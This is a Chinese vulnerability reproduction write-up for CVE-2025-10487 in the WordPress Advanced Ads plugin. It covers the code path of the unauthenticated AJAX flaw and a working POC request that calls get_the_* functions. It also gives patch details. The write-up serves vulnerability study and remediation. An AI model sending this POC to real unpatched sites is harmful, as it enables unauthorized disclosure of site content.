Wordpress Advanced Ads插件漏洞CVE-2025-10487复现

漏洞描述

The Advanced Ads -- Ad Manager & AdSense plugin for WordPress is

vulnerable to Remote Code Execution in all versions up to, and

including, 2.0.12 via the select_one() function. This is due to the

endpoint not properly restricting access to the AJAX endpoint or

limiting the functions that can be called to safe functions. This

makes it possible for unauthenticated attackers to call arbitrary

functions beginning with get_the_ like get_the_excerpt which can make

information exposure possible.

在 2.0.12 之前(包括 2.0.12)之前的所有版本中,高级广告 - Ad Manager 和 AdSense 插件都容易通过 select_one() 函数进行远程代码执行。这是由于端点没有正确限制对 AJAX 端点的访问或限制可以调用到安全函数的函数。这使得未经身份验证的攻击者可以调用以get_the_开头的任意函数,例如 get_the_excerpt这可以使信息泄露成为可能。

复现环境搭建

虚拟机搭建wordpress后安装 2.0.12版本的Advanced Ads插件

漏洞分析

根据提供的代码和漏洞描述,Advanced Ads 插件中的漏洞位于 wp-content/plugins/advanced-ads/includes/admin/class-ajax.php 文件的 select_one() 函数中。该漏洞允许未经身份验证的攻击者通过 AJAX 端点调用任意以 get_the_ 开头的 WordPress 函数,导致潜在的信息泄露(而非真正的远程代码执行)。以下是详细的漏洞调用链分析:

1. 入口点:公开 AJAX 端点

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:42-43

  • 代码

    php 复制代码
    add_action( 'wp_ajax_advads_ad_select', [ $this, 'ad_select' ] );
    add_action( 'wp_ajax_nopriv_advads_ad_select', [ $this, 'ad_select' ] );
  • 问题wp_ajax_nopriv_advads_ad_select 钩子允许未登录用户访问 ad_select() 方法。没有身份验证检查或速率限制。

2. 处理请求:ad_select() 方法

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:149-194

  • 关键代码

    php 复制代码
    public function ad_select(): void {
        // ... 其他代码 ...
        $defered_ads = Params::request( 'deferedAds', [], FILTER_DEFAULT, FILTER_REQUIRE_ARRAY );
        if ( $defered_ads ) {
            // ... 处理 defered_ads ...
            foreach ( $requests as $request ) {
                $result = $this->select_one( $request );  // 调用 select_one
            }
        }
        $response = $this->select_one( $_REQUEST );  // 直接传递 $_REQUEST
        wp_send_json( $response );
    }
  • 问题 :直接将 $_REQUEST(包含用户输入)传递给 select_one(),没有过滤或验证。

3. 核心漏洞:select_one() 方法中的动态函数调用

  • 位置wp-content/plugins/advanced-ads/includes/admin/class-ajax.php:298-362

  • 关键代码

    php 复制代码
    private function select_one( $request ) {
        $method = (string) $request['ad_method'] ?? null;  // 从请求中获取 ad_method
        if ( 'id' === $method ) {
            $method = 'ad';
        }
        $function = "get_the_$method";  // 动态构造函数名
        $id = (string) $request['ad_id'] ?? null;
        // ... 其他代码 ...
        $content = $function( (int) $id, '', $arguments );  // 调用动态函数
        // ... 返回结果 ...
    }
  • 问题

    • $method 来自用户输入($_REQUEST['ad_method']),未进行任何过滤或白名单检查。
    • 通过字符串拼接构造函数名 $function = "get_the_$method",允许调用任意以 get_the_ 开头的函数。
    • 例如,攻击者可设置 ad_method=excerpt,导致调用 get_the_excerpt();或 ad_method=content,调用 get_the_content()



4. 漏洞利用示例

POC:

复制代码
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.6.138
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Cookie: wp-settings-time-1=1762237749; wpforo_read_topics=%7B%221%22%3A%223%22%7D; wpforo_read_forums=%7B%222%22%3A%223%22%2C%221%22%3A%223%22%7D; wp-settings-2=mfold%3Do; wp-settings-time-2=1762311751
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded

action=advads_ad_select&ad_method=excerpt&ad_id=1
  • 请求 :POST 到 /wp-admin/admin-ajax.php?action=advads_ad_select
  • 参数
    • ad_method=excerpt(或任意 get_the_* 函数名,如 titlecontent 等)
    • ad_id=1(有效文章 ID)
  • 结果:返回文章的摘要(excerpt),导致信息泄露。如果文章包含敏感数据,可被利用。

下面的请求获取了文章标题

下面的请求获取了文章摘要

下面的请求获取了广告内容

5. 影响

  • 信息泄露:未授权攻击者可获取文章标题、内容、摘要等信息,广告内容可能包含敏感信息。
  • 局限 :尽管描述为 "远程代码执行",实际仅限于调用 WordPress 的 get_the_* 函数,无法执行任意 PHP 代码。可能通过短代码或特定内容间接执行代码,但通常为信息泄露。
  • CVSS :高严重性(信息泄露,无需认证)。

6. 修复建议

  • select_one() 中添加 $method 的白名单检查,仅允许预定义的安全方法(如 adplacement)。
  • 或移除 wp_ajax_nopriv_advads_ad_select 钩子,限制为登录用户。
  • 添加输入验证和过滤。

把The Advanced Ads -- Ad Manager & AdSense plugin升级到2.0.13或更高版本。

新版插件在select_one方法的function变量赋值前调用了is_entity_allowed方法

is_entity_allowed方法只允许调用get_the_ad、get_the_group、get_the_placement三个方法。

参考链接

相关推荐
金纬科技2 小时前
陕煤集团-用什么-筑牢数据安全屏障、电脑加密软件那个最好用?
安全·电脑
拾忆,想起3 小时前
10分钟通关OSI七层模型:从光纤到APP的奇幻之旅
java·redis·网络协议·网络安全·缓存·哈希算法
清风6666664 小时前
基于单片机的汽车多参数安全检测与报警系统设计
单片机·安全·汽车·毕业设计·课程设计·期末大作业
catoop4 小时前
基于非对称算法的文件下载安全方案设计
安全
我科绝伦(Huanhuan Zhou)4 小时前
Redis 生产环境安全基线配置指南:从风险分析到实操加固
数据库·redis·安全
Bypass--5 小时前
《云原生安全攻防》-- K8s集群安全事件响应
安全·云原生·容器·kubernetes
众创五舟战神:l_e01206 小时前
速卖通测评自养号技术:搭建安全稳定账号体系,流量销量双突破
安全·测评自养号·速卖通测评·ip环境搭建·买家号注册下单·自养号测评技术·速卖通采购
jenchoi4136 小时前
【2025-11-05】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全
Jerry25050910 小时前
什么是HTTPS?对网站有什么用?
网络·网络协议·http·网络安全·https·ssl